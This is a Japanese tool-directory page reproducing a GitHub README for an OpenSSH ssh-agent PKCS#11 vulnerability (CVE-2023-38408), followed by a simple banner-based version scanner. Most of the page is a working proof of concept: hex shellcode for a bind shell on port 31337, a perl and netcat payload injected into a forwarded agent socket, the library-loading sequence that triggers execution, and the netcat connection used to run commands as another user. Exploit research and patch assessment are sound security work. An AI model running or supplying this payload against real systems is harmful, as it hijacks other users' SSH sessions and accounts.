Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-38408 — CVE-2023-38408 SSH脆弱性スキャナー & PoC | Kitploit
ツール/GitHubGitHub/tx-one/cve-2023-38408
脆弱性スキャナーペイロード生成エクスプロイトシェルコードペネトレーションテスト学習と教育リモートアクセスツール
GitHubtx-one/cve-2023-38408

CVE-2023-38408

CVE-2023-38408 SSH脆弱性スキャナー & PoC

リポジトリを見る
71年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

OpenSSH の脆弱性 - CVE-2023-38408 📚

はじめに

OpenSSH (9.3p2 より前のバージョン) に脆弱性が発見されました。OpenSSH の ssh-agent における PKCS#11 機能は、検索パスが十分に信頼できないため、エージェントが攻撃者制御のシステムに転送されるとリモートコード実行につながります (/usr/lib 内のコードは ssh-agent にロードしても必ずしも安全ではありません)。この欠陥により、サーバー上の転送されたエージェントソケットを制御し、クライアントホストのファイルシステムに書き込む権限を持つ攻撃者は、ssh-agent を実行しているユーザーの権限で任意のコードを実行できます。

以下の例では、探索から alice ユーザーの侵害に至るまでの手順を簡単に見ることができます。

  • ステップ 1 - 攻撃側ユーザーが SSH を介してサーバーに接続します。
  • ステップ 2 - ユーザー Alice も ssh を介してサーバーに接続しています。
  • ステップ 3 - 攻撃者は、標的サーバーに ssh プロセスを介して送信するシェルコードを作成します。
  • ステップ 4 - 攻撃者が送信したシェルコードは、ssh-agent の PKCS#11 の脆弱性を悪用し、ユーザー Alice の ssh アクセスを乗っ取る新しいプロセスを作成します。
  • ステップ 5 - 攻撃者の通常のアクセスを経由しても、nc localhost 31337 でシェルコード内に作成されたエクスプロイトにアクセスし、ユーザー Alice として操作コマンドを実行することが可能です。

どうやって作るのか?POC を作成しましょう

前述のとおり、この POC では SSH 経由でサーバーに接続した 2 人のユーザーを使用します。以下の手順を実行するには、2 人のユーザーがすでにサーバー (SSH) にアクセスできることを前提としています。

  1. リモートの攻撃マシン上で実行されている SSH エージェントの PID を取得し、環境変数にエクスポートします。また、ssh-add 経由で linuxx64.elf.stub (UEFI ブートスタブ) ファイルを追加しました。
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. 次に、SSH を使用してシェルコードをプロセスにコピーするには、攻撃マシン上で以下の手順を実行します。
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

最後に、シェルコードがエージェントのメモリに正常に配置されたら、Ctrl-C を押して netcat 転送を停止します。

  1. この手順では、ssh-add を介して libttcn3-rt2-dynamic.so、libKF5SonnetUi.so.5.92.0、libns3.35-wave.so.0.0.0 の 3 つのファイルをアップロードします。悪用プロセスの次の手順は、Segmentation Fault (SIGSEGV) シグナルのシグナルハンドラを登録することです。

[!NOTE] SIGSEGV の発動 💬
SIGSEGV は、無効なメモリ参照 (セグメンテーションフォルト) が発生したときにコンピュータプロセスに送出されるシグナルです。SIGSEGV シグナルを受信すると、カーネルは無効なメモリアクセスが発生したことを認識し、プログラムを突然終了させる代わりにカスタムシグナルハンドラを呼び出します。これにより、攻撃者はプログラムの実行を操作し、NOP スレッド内に配置された注入済みの悪意のあるコードへと誘導する機会を得ます。

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. この時点で、攻撃者のサーバーへの ssh アクセスを介してユーザー Alice を悪用し、シェルコードによって作成された以下のコマンドを実行できています。 🔥
root@kitploit:~
nc localhost 31337

CVE-2023-38408 は私に影響しますか ❓

この脆弱性は、主に OpenSSH の SSH エージェントが使用され、エージェントの転送機能が有効になっているシステムに影響します。OpenSSH に依存している組織や個人は、潜在的な曝露を判断するために、早急に設定を評価する必要があります。お使いのシステムが前述の条件に該当する場合、CVE-2023-38408 に関連するリスクを軽減するために直ちに対策を講じることが極めて重要です。

私のツールを使用した CVE 検出の自動化

インストール

root@kitploit:~
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408

使用法

root@kitploit:~
python CVE-2023-38408_scanner.py -t <target> -p <port>

プロトコルフロー

root@kitploit:~
Client                          Server
  | --- SSH-2.0-Client_Test ----> |
  | <---- SSH Server Banner ----- |

出力例

root@kitploit:~
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne

[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを意図しています。ネットワークリソースをスキャンする前に、必ず適切な許可を取得してください。

ツールをダウンロード